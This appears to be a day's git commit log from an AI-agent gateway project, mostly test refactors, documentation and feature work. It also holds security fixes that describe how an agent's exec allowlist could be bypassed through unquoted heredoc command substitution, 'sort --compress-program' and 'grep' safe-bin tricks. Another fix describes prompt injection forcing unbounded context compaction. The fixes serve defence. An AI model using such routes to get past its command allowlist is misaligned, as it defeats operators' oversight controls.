Peter Steinberger
8f1b467646 test(agents): dedupe exec preflight fixtures and cover quoted-path skip 2026-02-21 21:40:39 +00:00
Peter Steinberger
8f11868cc2 test(gateway): dedupe boot workspace setup and cover boot failures 2026-02-21 21:40:38 +00:00
Peter Steinberger
0e49eec056 test(commands): dedupe auth-sync fixture and cover invalid profile handling 2026-02-21 21:40:38 +00:00
Peter Steinberger
e978297c28 test(agents): dedupe workspace template temp roots and cover fallback resolution 2026-02-21 21:40:38 +00:00
Peter Steinberger
c481b22245 test(reply): reuse compaction fixture setup and cover numeric fallback defaults 2026-02-21 21:40:38 +00:00
Peter Steinberger
1bbeedfab2 test(infra): dedupe heartbeat ghost reminder temp/mocks setup 2026-02-21 21:40:38 +00:00
Peter Steinberger
ac6c344d9b test(browser): dedupe fixture lifecycle and cover directory-path rejection 2026-02-21 21:40:38 +00:00
Peter Steinberger
626d8e9f62 test(web): dedupe temp dir setup in web auto-reply utils tests 2026-02-21 21:40:38 +00:00
Val Alexander
b703ea3675 fix: prevent compaction "prompt too long" errors (#22921)
* includes: prompt overhead in compaction safeguard calculation.

Subtracts SUMMARIZATION_OVERHEAD_TOKENS from maxChunkTokens in both the main summarization path and the dropped-messages summarization path.

This ensures the chunk budget leaves room for the prompt overhead that generateSummary wraps around each chunk.

* adds: budget for overhead tokens to use an effectiveMax instead of maxTokens naïvely.

- Added `SUMMARIZATION_OVERHEAD_TOKENS = 4096` — a budget for the tokens that `generateSummary` adds on top of the serialized conversation (system prompt, `<conversation>` tags, summarization instructions, `<previous-summary>` block, and reasoning: "high" thinking budget).
- `chunkMessagesByMaxTokens` now divides `maxTokens` by `SAFETY_MARGIN` (1.2) before comparing against estimated token counts. Previously, the safety margin was only used in `computeAdaptiveChunkRatio` and `isOversizedForSummary` but not in the actual chunking loop — so chunks could be built that fit the estimated budget but exceeded the real budget once the API tokenized them properly.
2026-02-21 14:42:18 -06:00
Onur Solmaz
ac633366ce docs: add Onur Solmaz to contributors (#22890) 2026-02-21 21:00:26 +01:00
Peter Steinberger
518dbbf4c6 test: avoid template-literal temp path in runner fixture 2026-02-21 20:49:38 +01:00
Peter Steinberger
302fa03f41 fix(test): skip test-utils files in temp path guard 2026-02-21 20:48:52 +01:00
Peter Steinberger
48ddb1cc81 fix(ci): stabilize install smoke in docker 2026-02-21 20:39:34 +01:00
Peter Steinberger
549549f6a0 fix(ci): sync plugin versions and harden install smoke 2026-02-21 20:18:37 +01:00
Peter Steinberger
a20c773251 test(media): dedupe auto-e2e temp/env setup and cover no-binary path 2026-02-21 19:17:01 +00:00
Peter Steinberger
b889a5d516 test(cli): dedupe temp dirs in camera tests and cover non-ok url responses 2026-02-21 19:17:01 +00:00
Peter Steinberger
0ecb07e6d1 test(cli): dedupe acp secret file setup and cover password flag collisions 2026-02-21 19:17:01 +00:00
Peter Steinberger
4f835c4c0d test(media): dedupe temp roots and cover directory attachment rejection 2026-02-21 19:17:01 +00:00
Peter Steinberger
9ebfc99c1b refactor(test): dedupe temp media fixture setup in apply e2e 2026-02-21 19:17:01 +00:00
Peter Steinberger
0a207b9860 refactor(test): share temp workspace helper in compact skill path tests 2026-02-21 19:16:22 +00:00
Peter Steinberger
324922f804 refactor(test): dedupe temp dir lifecycle in agents skills directory e2e 2026-02-21 19:16:22 +00:00
Peter Steinberger
b3c7fd6c69 refactor(test): dedupe temp dirs and skill writer in snapshot e2e 2026-02-21 19:16:22 +00:00
Peter Steinberger
85c768d3d2 refactor(test): dedupe temp workspace setup in skills load entries e2e 2026-02-21 19:16:22 +00:00
Peter Steinberger
0401762144 refactor(test): dedupe temp root setup in identity avatar e2e 2026-02-21 19:16:22 +00:00
Peter Steinberger
9ead79937e refactor(test): dedupe temp session path setup in file repair e2e 2026-02-21 19:16:22 +00:00
Peter Steinberger
70fdab6e95 test(agents): add coverage for shared skill writer helper 2026-02-21 19:16:21 +00:00
Peter Steinberger
0876fbde19 refactor(test): reuse shared skill writer in skills e2e 2026-02-21 19:16:21 +00:00
Peter Steinberger
f086245afe refactor(test): reuse shared skill writer in sandbox and bundled tests 2026-02-21 19:16:21 +00:00
Peter Steinberger
96ef00ec38 refactor(test): drop redundant env snapshots in skill download suites 2026-02-21 19:16:21 +00:00
Peter Steinberger
603e28648b refactor(test): centralize temp workspace env handling for skill install tests 2026-02-21 19:16:21 +00:00
Peter Steinberger
61817c90e7 refactor(test): share temp workspace helper for skill download suites 2026-02-21 19:16:21 +00:00
Peter Steinberger
a814cce359 refactor(test): share temp command dir helper in shell utils e2e 2026-02-21 19:16:21 +00:00
Peter Steinberger
c240104dc3 refactor(test): snapshot gateway auth env in security audit tests 2026-02-21 19:16:21 +00:00
Peter Steinberger
e5aa04d432 refactor(test): snapshot daemon cli env in coverage e2e 2026-02-21 19:16:21 +00:00
Peter Steinberger
3fd7dc5046 refactor(test): snapshot shell/path env in bash tools e2e 2026-02-21 19:16:21 +00:00
Peter Steinberger
272bf2d8bc refactor(test): dedupe env override assertions in skills e2e 2026-02-21 19:16:21 +00:00
Peter Steinberger
d982893490 refactor(test): use env helper for web auto-reply timezone test 2026-02-21 19:13:47 +00:00
Peter Steinberger
7ba09e414f refactor(test): snapshot env in shell utils e2e 2026-02-21 19:13:47 +00:00
Peter Steinberger
c3e1c82871 refactor(test): snapshot bundled hooks env in loader tests 2026-02-21 19:13:47 +00:00
Peter Steinberger
5e607ae1eb refactor(test): snapshot deprecated auth profile env in e2e 2026-02-21 19:13:47 +00:00
Peter Steinberger
5dc1b5a8db refactor(test): reuse env helper in workspace skill sync gating 2026-02-21 19:13:47 +00:00
Peter Steinberger
c0706b7799 refactor(test): reuse env helper in workspace skill status tests 2026-02-21 19:13:47 +00:00
Peter Steinberger
cf371fde6d refactor(test): use env helper in workspace skills prompt gating 2026-02-21 19:13:47 +00:00
Peter Steinberger
8745964142 refactor(test): snapshot PATH env in bash tools exec path e2e 2026-02-21 19:13:47 +00:00
Peter Steinberger
af66e3103a test(agents): cover bundled skills env override and dedupe setup 2026-02-21 19:13:47 +00:00
Peter Steinberger
ae06dbb794 refactor(test): snapshot tar.bz2 skills install env 2026-02-21 19:13:47 +00:00
Peter Steinberger
b44aa5b1f7 refactor(test): snapshot skills install state dir env 2026-02-21 19:13:47 +00:00
Peter Steinberger
884166c7af refactor(test): snapshot telegram action env in e2e suite 2026-02-21 19:13:47 +00:00
Peter Steinberger
1fd88af219 test(commands): stabilize message e2e env and gateway mock 2026-02-21 19:13:47 +00:00
Peter Steinberger
1b585b2959 refactor(test): snapshot tailscale test env per case 2026-02-21 19:13:47 +00:00
Peter Steinberger
2a0ea7cb97 test(tui): cover gateway auth fallbacks and dedupe env setup 2026-02-21 19:13:47 +00:00
Peter Steinberger
ec8288e9b8 refactor(test): reuse env helper in gateway status e2e 2026-02-21 19:13:47 +00:00
Peter Steinberger
807968e4df refactor(test): replace manual PATH restore with env helpers 2026-02-21 19:13:47 +00:00
Peter Steinberger
01f42a0372 refactor(test): share media audio fixture across runner tests 2026-02-21 19:13:47 +00:00
Peter Steinberger
194ebd9e30 refactor(test): dedupe env setup in envelope and config tests 2026-02-21 19:13:47 +00:00
Peter Steinberger
50489fb2d4 refactor(test): use env helper for telegram TZ override 2026-02-21 19:13:47 +00:00
Peter Steinberger
fc43a16d43 refactor(test): replace ad-hoc env restore blocks with helpers 2026-02-21 19:13:47 +00:00
Peter Steinberger
63488eb981 refactor(test): dedupe telegram token env handling in tests 2026-02-21 19:13:47 +00:00
Peter Steinberger
bfa59bd22e refactor(test): collapse gateway e2e env snapshots 2026-02-21 19:13:47 +00:00
Peter Steinberger
dda9e9f094 refactor(test): snapshot onboarding gateway env via helper 2026-02-21 19:13:47 +00:00
Peter Steinberger
bd9d3e2f87 refactor(test): reuse env helper in update cli tests 2026-02-21 19:13:47 +00:00
Peter Steinberger
b2ed54f600 refactor(test): reuse env helper in onboarding provider auth e2e 2026-02-21 19:13:47 +00:00
Peter Steinberger
2d7d00ef8e refactor(test): streamline env setup in auth and gateway e2e 2026-02-21 19:13:47 +00:00
Peter Steinberger
a410dad602 refactor(test): simplify env setup in safe bins and skills status 2026-02-21 19:13:46 +00:00
Peter Steinberger
8fd8988ff7 refactor(test): reuse env helper in gateway tool e2e 2026-02-21 19:13:46 +00:00
Peter Steinberger
bc037dfe01 refactor(test): dedupe provider env setup in model config tests 2026-02-21 19:13:46 +00:00
Peter Steinberger
c41d1070b7 refactor(test): use env helper in agent paths e2e 2026-02-21 19:13:46 +00:00
Peter Steinberger
e588e3cc20 refactor(test): standardize env helpers across suites 2026-02-21 19:13:46 +00:00
Peter Steinberger
ae70bf4dca refactor(test): simplify env scoping in exec and usage tests 2026-02-21 19:13:46 +00:00
Peter Steinberger
aff272ec35 refactor(test): reuse env helper in models auth sync 2026-02-21 19:13:46 +00:00
Peter Steinberger
992b7e5577 refactor(test): use env snapshots in setup hooks 2026-02-21 19:13:46 +00:00
Peter Steinberger
7724abeee0 refactor(test): dedupe env setup across suites 2026-02-21 19:13:46 +00:00
Peter Steinberger
f903603722 docs(changelog): keep 2026.2.22 split from 2026.2.21 2026-02-21 20:10:51 +01:00
Sean McLellan
00b98a368a fix: flatten nested anyOf/oneOf in Gemini schema cleaning (openclaw#22825) thanks @Oceanswave
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Oceanswave <760674+Oceanswave@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-21 13:09:42 -06:00
Peter Steinberger
f9108120c2 fix(gateway): strip inline directive tags from displayed text 2026-02-21 20:08:55 +01:00
Peter Steinberger
4540790cb6 refactor(bluebubbles): share dm/group access policy checks 2026-02-21 20:08:33 +01:00
Peter Steinberger
c3af00bddb docs(changelog): split 2026.2.21 release entries 2026-02-21 20:06:57 +01:00
Peter Steinberger
22940b7b98 refactor(discord): split allowlist resolution flow 2026-02-21 20:01:21 +01:00
Peter Steinberger
25e89cc863 fix(security): harden shell env fallback 2026-02-21 20:01:08 +01:00
Peter Steinberger
817905f3a0 docs: document thread-bound subagent sessions and remove plan 2026-02-21 19:59:55 +01:00
Peter Steinberger
51c0893673 refactor(security): remove unused empty allowlist mode 2026-02-21 19:57:36 +01:00
Peter Steinberger
2ba6de7eaa refactor(security): make empty allowlist behavior explicit 2026-02-21 19:54:59 +01:00
Peter Steinberger
ed960ba4eb refactor(security): centralize path guard helpers 2026-02-21 19:54:26 +01:00
Peter Steinberger
6ffca36284 fix(config): add shared streaming resolver module 2026-02-21 19:53:42 +01:00
Peter Steinberger
2c14b0cf4c refactor(config): unify streaming config across channels 2026-02-21 19:53:42 +01:00
Peter Steinberger
747bb581b3 fix(discord): canonicalize resolved allowlists to ids 2026-02-21 19:53:29 +01:00
Nimrod Gutman
3ed71d6f76 fix: update changelog for ios talk tts prefetch (#22833) (thanks @ngutman) 2026-02-21 20:52:05 +02:00
Nimrod Gutman
d6353cc54b fix(ios): suppress expected speech cancellation errors 2026-02-21 20:52:05 +02:00
Nimrod Gutman
8a661e30c9 fix(ios): prefetch talk tts segments 2026-02-21 20:52:05 +02:00
Peter Steinberger
9632b9bcf0 fix(security): fail closed parsed chat allowlist 2026-02-21 19:51:36 +01:00
Simone Macario
09d5f508b1 fix(cron): persist delivered flag in job state to surface delivery failures (openclaw#19174) thanks @simonemacario
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: simonemacario <2116609+simonemacario@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-21 12:47:29 -06:00
Peter Steinberger
51149fcaf1 refactor(gateway): extract connect and role policy logic 2026-02-21 19:47:22 +01:00
Peter Steinberger
f97c45c5b5 fix(security): warn on Discord name-based allowlists in audit 2026-02-21 19:45:17 +01:00
Peter Steinberger
4b226b74f5 fix(security): block zip symlink escape in archive extraction 2026-02-21 19:42:33 +01:00
Peter Steinberger
ddcb2d79b1 fix(gateway): block node role when device identity is missing 2026-02-21 19:34:13 +01:00
Peter Steinberger
764b1f2932 refactor: simplify relay runtime state 2026-02-21 19:31:30 +01:00
Peter Steinberger
e371da38aa fix(macos): consolidate exec approval evaluation 2026-02-21 19:30:35 +01:00
Peter Steinberger
9fc6c8b713 fix: hide synthetic untrusted metadata in chat history 2026-02-21 19:26:04 +01:00
Peter Steinberger
afa22acc4a fix: harden extension relay auth token flow 2026-02-21 19:24:42 +01:00
Peter Steinberger
89aad7b922 refactor: tighten safe-bin policy model and docs parity 2026-02-21 19:24:23 +01:00
Peter Steinberger
c730d4dd72 docs: clarify non-default scope for safeBins sort fix 2026-02-21 19:18:51 +01:00
Peter Steinberger
4c1dd9d068 fix(security): harden macos rawCommand allowlist resolution 2026-02-21 19:17:56 +01:00
niceysam
5e423b596c fix: remove false-positive billing error rewrite on normal assistant text (openclaw#17834) thanks @niceysam
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: niceysam <256747835+niceysam@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-21 12:17:39 -06:00
Peter Steinberger
57fbbaebca fix: block safeBins sort --compress-program bypass 2026-02-21 19:13:53 +01:00
Peter Steinberger
bdfb97afad chore: prep 2026.2.22 unreleased and publish new npm plugins 2026-02-21 19:05:35 +01:00
Thorfinn
efdec39254 fix: correct MiniMax M2.5 pricing (was ~50x too high) (openclaw#22755) thanks @miloudbelarebia
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: miloudbelarebia <136994453+miloudbelarebia@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-21 11:26:48 -06:00
Peter Steinberger
35a57bc940 fix: gate doctor oauth-dir repair by channel config 2026-02-21 18:08:15 +01:00
Peter Steinberger
905e355f65 fix: verify gateway restart health after daemon restart 2026-02-21 18:02:14 +01:00
Peter Steinberger
5e34eb98fb chore: update appcast for 2026.2.21 mac release 2026-02-21 17:56:21 +01:00
Peter Steinberger
74e6c210c0 fix: ignore prerelease suffixes in release-check plugin version checks 2026-02-21 17:48:21 +01:00
Peter Steinberger
e93ba6ce2a fix: harden update restart service convergence 2026-02-21 17:40:28 +01:00
Vincent Koc
59c78c105a docs: revert automated heading consistency edits (#22743) 2026-02-21 11:18:29 -05:00
Peter Steinberger
7c1a2ab085 test: tolerate transient zai and minimax live-model failures 2026-02-21 17:05:13 +01:00
Vincent Koc
d9844c6afa CI: remove docs spellcheck step (#22738) 2026-02-21 10:58:34 -05:00
Peter Steinberger
fa89ae8e9e fix: stabilize swift protocol generation and flaky tests 2026-02-21 16:53:46 +01:00
Peter Steinberger
8588183abe test: stabilize docker e2e suites for pairing and model updates 2026-02-21 16:38:48 +01:00
Peter Steinberger
5da03e6221 fix(macos): harden exec allowlist shell-chain checks 2026-02-21 16:27:18 +01:00
Onur
8178ea472d feat: thread-bound subagents on Discord (#21805)
* docs: thread-bound subagents plan

* docs: add exact thread-bound subagent implementation touchpoints

* Docs: prioritize auto thread-bound subagent flow

* Docs: add ACP harness thread-binding extensions

* Discord: add thread-bound session routing and auto-bind spawn flow

* Subagents: add focus commands and ACP/session binding lifecycle hooks

* Tests: cover thread bindings, focus commands, and ACP unbind hooks

* Docs: add plugin-hook appendix for thread-bound subagents

* Plugins: add subagent lifecycle hook events

* Core: emit subagent lifecycle hooks and decouple Discord bindings

* Discord: handle subagent bind lifecycle via plugin hooks

* Subagents: unify completion finalizer and split registry modules

* Add subagent lifecycle events module

* Hooks: fix subagent ended context key

* Discord: share thread bindings across ESM and Jiti

* Subagents: add persistent sessions_spawn mode for thread-bound sessions

* Subagents: clarify thread intro and persistent completion copy

* test(subagents): stabilize sessions_spawn lifecycle cleanup assertions

* Discord: add thread-bound session TTL with auto-unfocus

* Subagents: fail session spawns when thread bind fails

* Subagents: cover thread session failure cleanup paths

* Session: add thread binding TTL config and /session ttl controls

* Tests: align discord reaction expectations

* Agent: persist sessionFile for keyed subagent sessions

* Discord: normalize imports after conflict resolution

* Sessions: centralize sessionFile resolve/persist helper

* Discord: harden thread-bound subagent session routing

* Rebase: resolve upstream/main conflicts

* Subagents: move thread binding into hooks and split bindings modules

* Docs: add channel-agnostic subagent routing hook plan

* Agents: decouple subagent routing from Discord

* Discord: refactor thread-bound subagent flows

* Subagents: prevent duplicate end hooks and orphaned failed sessions

* Refactor: split subagent command and provider phases

* Subagents: honor hook delivery target overrides

* Discord: add thread binding kill switches and refresh plan doc

* Discord: fix thread bind channel resolution

* Routing: centralize account id normalization

* Discord: clean up thread bindings on startup failures

* Discord: add startup cleanup regression tests

* Docs: add long-term thread-bound subagent architecture

* Docs: split session binding plan and dedupe thread-bound doc

* Subagents: add channel-agnostic session binding routing

* Subagents: stabilize announce completion routing tests

* Subagents: cover multi-bound completion routing

* Subagents: suppress lifecycle hooks on failed thread bind

* tests: fix discord provider mock typing regressions

* docs/protocol: sync slash command aliases and delete param models

* fix: add changelog entry for Discord thread-bound subagents (#21805) (thanks @onutc)

---------

Co-authored-by: Shadow <hi@shadowing.dev>
2026-02-21 16:14:55 +01:00
Peter Steinberger
166068dfbe test: add byteplus coding-plan live test 2026-02-21 15:42:44 +01:00
Peter Steinberger
c8466e516f fix(agents): raise dynamic retry cap budget 2026-02-21 15:41:30 +01:00
Peter Steinberger
1bd3f01c17 fix(telegram): guard duplicate bot token accounts 2026-02-21 15:41:03 +01:00
Peter Steinberger
b520e7ac38 fix: stabilize docker live model and doctor-switch tests 2026-02-21 15:36:24 +01:00
Peter Steinberger
b25d3652e7 fix(agents): cap embedded runner retry loop 2026-02-21 15:35:45 +01:00
Peter Steinberger
352b5262da fix(ci): make docs spellcheck fallback deterministic 2026-02-21 15:08:28 +01:00
Peter Steinberger
3101047234 feat(models): add Gemini 3.1 support 2026-02-21 15:08:06 +01:00
Peter Steinberger
581868365d fix: finish volcengine/byteplus landing polish (#7967) (thanks @funmore123) 2026-02-21 15:05:09 +01:00
fanziqing
559736a5a0 feat(volcengine): integrate Volcengine & Byteplus Provider 2026-02-21 15:05:09 +01:00
Peter Steinberger
95c14d9b5f docs: prune low-signal changelog entries 2026-02-21 15:02:10 +01:00
Peter Steinberger
7bd5c5d5a4 docs(changelog): reorder unreleased fixes by user impact 2026-02-21 14:37:49 +01:00
Peter Steinberger
892620ddab chore: update workspace dependencies 2026-02-21 14:35:13 +01:00
大猫子
c62a6e7040 fix(models): add kimi-coding implicit provider template (openclaw#22526) thanks @lailoo
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: lailoo <20536249+lailoo@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-21 07:35:09 -06:00
Peter Steinberger
14b3743228 fix(ci): stabilize Windows path handling in sandbox tests 2026-02-21 14:32:15 +01:00
Peter Steinberger
10b8839a82 fix(security): centralize WhatsApp outbound auth and return 403 tool auth errors 2026-02-21 14:31:01 +01:00
Peter Steinberger
f64d5ddf60 fix: replace README sponsors HTML table with markdown 2026-02-21 14:29:55 +01:00
Peter Steinberger
f23da067f6 fix(security): harden heredoc allowlist parsing 2026-02-21 14:27:51 +01:00
orlyjamie
92cada2aca fix(security): block command substitution in unquoted heredoc bodies
The shell command analyzer (splitShellPipeline) skipped all token
validation while parsing heredoc bodies. When the heredoc delimiter
was unquoted, bash performs command substitution on the body content,
allowing $(cmd) and backtick expressions to execute arbitrary commands
that bypass the exec allowlist.

Track whether heredoc delimiters are quoted or unquoted. When unquoted,
scan the body for $( , ${ , and backtick tokens and reject the command.
Quoted heredocs (<<'EOF' / <<"EOF") are safe - the shell treats their
body as literal text.

Ref: https://github.com/openclaw/openclaw/security/advisories/GHSA-65rx-fvh6-r4h2
2026-02-21 14:27:35 +01:00
Peter Steinberger
2706cbd6d7 fix(agents): include filenames in image resize logs 2026-02-21 13:16:41 +00:00
Peter Steinberger
3cfb402bda refactor(test): reuse state-dir helper in agent runner suite 2026-02-21 13:08:05 +00:00
Peter Steinberger
25db01fe08 refactor(test): use withEnvAsync in pairing store fixture 2026-02-21 13:06:12 +00:00
Peter Steinberger
21bb46d304 fix(ci): include browser network in sandbox test fixture 2026-02-21 13:05:51 +00:00
Peter Steinberger
7a27e2648a refactor(test): dedupe plugin env overrides via env helpers 2026-02-21 13:03:41 +00:00
Peter Steinberger
f48698a50b fix(security): harden sandbox browser network defaults 2026-02-21 14:02:53 +01:00
Peter Steinberger
cf82614259 refactor(test): reuse state-dir helper in telegram tests 2026-02-21 13:02:12 +00:00
Peter Steinberger
26eb1f781d refactor(test): reuse state-dir env helper in auth profile override e2e 2026-02-21 13:00:16 +00:00
Peter Steinberger
c2874aead7 refactor(test): centralize temporary state-dir env setup 2026-02-21 12:59:24 +00:00
Peter Steinberger
50a8942c07 docs(changelog): add WhatsApp reaction allowlist security note 2026-02-21 13:57:54 +01:00
Aether AI Agent
e217f8c3f7 fix(security): OC-91 validate WhatsApp JID against allowlist in all send paths — Aether AI Agent 2026-02-21 13:57:54 +01:00
Peter Steinberger
8c1518f0f3 fix(sandbox): use one-time noVNC observer tokens 2026-02-21 13:56:58 +01:00
Peter Steinberger
b43aadc34c refactor(test): dedupe temp-home setup in voicewake suite 2026-02-21 12:56:34 +00:00
Peter Steinberger
c529bafdc3 refactor(test): reuse temp-home helper in voicewake e2e 2026-02-21 12:54:54 +00:00
Peter Steinberger
577e5cc74b refactor(test): dedupe gateway env setup and add env util coverage 2026-02-21 12:52:21 +00:00
Peter Steinberger
621d8e1312 fix(sandbox): require noVNC observer password auth 2026-02-21 13:44:24 +01:00
Peter Steinberger
6cb7e16d40 fix(oauth): harden refresh token refresh-response validation 2026-02-21 13:44:14 +01:00
Henry Loenwind
24d18d0d72 fix: Correct data path in SKILL.md (coding-agent) (#11009)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: f7e56b80c6
Co-authored-by: HenryLoenwind <1485873+HenryLoenwind@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-21 18:09:25 +05:30
Peter Steinberger
be7f825006 refactor(gateway): harden proxy client ip resolution 2026-02-21 13:36:23 +01:00
Ayaan Zaidi
8b1fe0d1e2 fix(telegram): split streaming preview per assistant block (#22613)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 26f35f4411
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-21 18:05:23 +05:30
Peter Steinberger
36a0df423d refactor(gateway): make ws and http auth surfaces explicit 2026-02-21 13:33:09 +01:00
Peter Steinberger
1835dec200 fix(security): force sandbox browser hash migration and audit stale labels 2026-02-21 13:25:41 +01:00
Peter Steinberger
b2d84528f8 refactor(test): remove duplicate cron tool harnesses 2026-02-21 12:25:23 +00:00
Peter Steinberger
f4c89aa66e docs(changelog): add tts provider-override hardening note 2026-02-21 13:24:42 +01:00
Peter Steinberger
9516ace3c9 docs(changelog): note ACP resource-link prompt hardening 2026-02-21 13:23:51 +01:00
Peter Steinberger
14b0d2b816 refactor: harden control-ui auth flow and add insecure-flag audit summary 2026-02-21 13:18:23 +01:00
Peter Steinberger
4cd7d95746 style(browser): apply oxfmt cleanup for gate 2026-02-21 13:16:07 +01:00
Peter Steinberger
f265d45840 fix(tts): make model provider overrides opt-in 2026-02-21 13:16:07 +01:00
Peter Steinberger
d25a106628 docs(changelog): add tailscale auth hardening release note 2026-02-21 13:08:06 +01:00
Peter Steinberger
f202e73077 refactor(security): centralize host env policy and harden env ingestion 2026-02-21 13:04:39 +01:00
Peter Steinberger
08e020881d refactor(security): unify command gating and blocked-key guards 2026-02-21 13:04:37 +01:00
Peter Steinberger
356d61aacf fix(gateway): scope tailscale tokenless auth to websocket 2026-02-21 13:03:13 +01:00
Peter Steinberger
6aa11f3092 fix(acp): harden resource link metadata formatting 2026-02-21 13:00:02 +01:00
Peter Steinberger
073651fb57 docs: add sponsors section to README 2026-02-21 13:00:02 +01:00
Peter Steinberger
b577228d6b test(security): add overflow compaction truncation-budget regression 2026-02-21 12:59:10 +01:00
Aether AI Agent
084f621025 fix(security): OC-65 prevent compaction counter reset to enforce context exhaustion limit — Aether AI Agent
Remove the `overflowCompactionAttempts = 0` reset inside the inner loop's
tool-result-truncation branch. The counter was being zeroed on each truncation
cycle, allowing prompt-injection attacks to bypass the MAX_OVERFLOW_COMPACTION_ATTEMPTS
guard and trigger unbounded auto-compaction, exhausting context window resources (DoS).

CWE-400 / GHSA-x2g4-7mj7-2hhj
2026-02-21 12:59:10 +01:00
Peter Steinberger
2b76901f35 docs(changelog): credit reporter for control-ui auth hardening 2026-02-21 12:57:22 +01:00
Peter Steinberger
99048dbec2 fix(gateway): align insecure-auth toggle messaging 2026-02-21 12:57:22 +01:00
Peter Steinberger
810218756d docs(security): clarify trusted-host deployment assumptions 2026-02-21 12:53:12 +01:00
Peter Steinberger
ede496fa1a docs: clarify trusted-host assumption for tokenless tailscale 2026-02-21 12:52:49 +01:00
Peter Steinberger
fbb79d4013 fix(security): harden runtime command override gating 2026-02-21 12:49:57 +01:00
Peter Steinberger
cb84c537f4 fix: normalize status auth cost handling and models header tests 2026-02-21 12:45:06 +01:00
Peter Steinberger
e393d7aa5b docs(changelog): clarify Security/Exec release note 2026-02-21 12:44:20 +01:00
Peter Steinberger
dff61a10e1 docs(changelog): add windows system.run approval mismatch fix note 2026-02-21 11:58:40 +01:00
Santiago Medina Rolong
11f6bea598 add secret safety 2026-02-21 11:58:14 +01:00
Santiago Medina Rolong
8db5e77ffa skills: fmt 2026-02-21 11:58:14 +01:00
Santiago Medina Rolong
da844d6411 skills: update xurl description 2026-02-21 11:58:14 +01:00
Santiago Medina
ac2ef69454 Update skills/xurl/SKILL.md
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-02-21 11:58:14 +01:00
Santiago Medina Rolong
635b6298e3 skills: add xurl skill 2026-02-21 11:58:14 +01:00
Peter Steinberger
283029bdea refactor(security): unify webhook auth matching paths 2026-02-21 11:52:34 +01:00
Peter Steinberger
6007941f04 fix(security): harden and refactor system.run command resolution 2026-02-21 11:49:38 +01:00
Peter Steinberger
5cc631cc9c fix(agents): harden model-skip and tool-policy imports 2026-02-21 11:48:02 +01:00
Peter Steinberger
55aaeb5085 refactor(browser): centralize navigation guard enforcement 2026-02-21 11:46:11 +01:00
Peter Steinberger
2cdbadee1f fix(security): block startup-file env injection across host execution paths 2026-02-21 11:44:20 +01:00
Peter Steinberger
6b2f2811dc fix(security): require BlueBubbles webhook auth 2026-02-21 11:41:50 +01:00
Peter Steinberger
220bd95eff fix(browser): block non-network navigation schemes 2026-02-21 11:31:53 +01:00
Peter Steinberger
c6ee14d60e fix(security): block grep safe-bin file-read bypass 2026-02-21 11:18:29 +01:00
Ayaan Zaidi
f81522af2e fix(docker): install Playwright Chromium into node cache (#22585)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 84dc9ffccd
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-21 15:48:27 +05:30
Peter Steinberger
75d4f6d51b docs: reorder and trim 2026.2.21 changelog entries 2026-02-21 11:12:58 +01:00
Peter Steinberger
eccff0b6c0 docs: relabel dependency hygiene changelog entries 2026-02-21 11:05:05 +01:00
Peter Steinberger
9231d7d30f chore: bump version to 2026.2.21 2026-02-21 11:02:30 +01:00
Ayaan Zaidi
677384c519 refactor: simplify Telegram preview streaming to single boolean (#22012)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: a4017d3b94
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-21 15:19:13 +05:30
Ayaan Zaidi
e1cb73cdeb fix: unblock Docker build by aligning commands schema default (#22558)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 1ad610176d
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-21 14:47:28 +05:30
Vincent Koc
3f19259843 Update bug_report.yml 2026-02-21 04:06:07 -05:00
Vincent Koc
d2a7293744 Docs: issue template copy cleanup (#22546)
* docs: reduce channel-specific wording in feature template placeholder

* docs: make bug report template placeholders version-neutral

* docs: fix YAML indentation in bug report placeholder

* docs: fix indentation of version field in bug report template
2026-02-21 03:43:35 -05:00
Vincent Koc
dcf2c6d7f1 docs: normalize Amazon Bedrock setup section labels (#22549)
* docs(channels): promote Signal option setups to onboarding sections

* docs(channels): rename Microsoft Teams minimal setup section

* docs(channels): standardize onboarding option headings for Zalo and Twitch

* docs(providers): normalize Amazon Bedrock onboarding section labels
2026-02-21 03:40:54 -05:00
Vincent Koc
e36245bd37 docs: finalize onboarding option heading normalization (#22547)
* docs(channels): promote Signal option setups to onboarding sections

* docs(channels): rename Microsoft Teams minimal setup section

* docs(channels): standardize onboarding option headings for Zalo and Twitch
2026-02-21 03:38:37 -05:00
Vincent Koc
ef42fe0094 docs: rename Tlon setup heading (#22544)
* docs: fix thinking link and add reasoning anchor reference

* docs(channels): rename LINE setup heading to onboarding

* docs(channels): normalize Nextcloud Talk onboarding headings

* docs(channels): use onboarding heading for Matrix setup

* docs(channels): standardize Discord onboarding heading

* docs(channels): standardize Telegram onboarding heading

* docs(channels): standardize WhatsApp onboarding heading

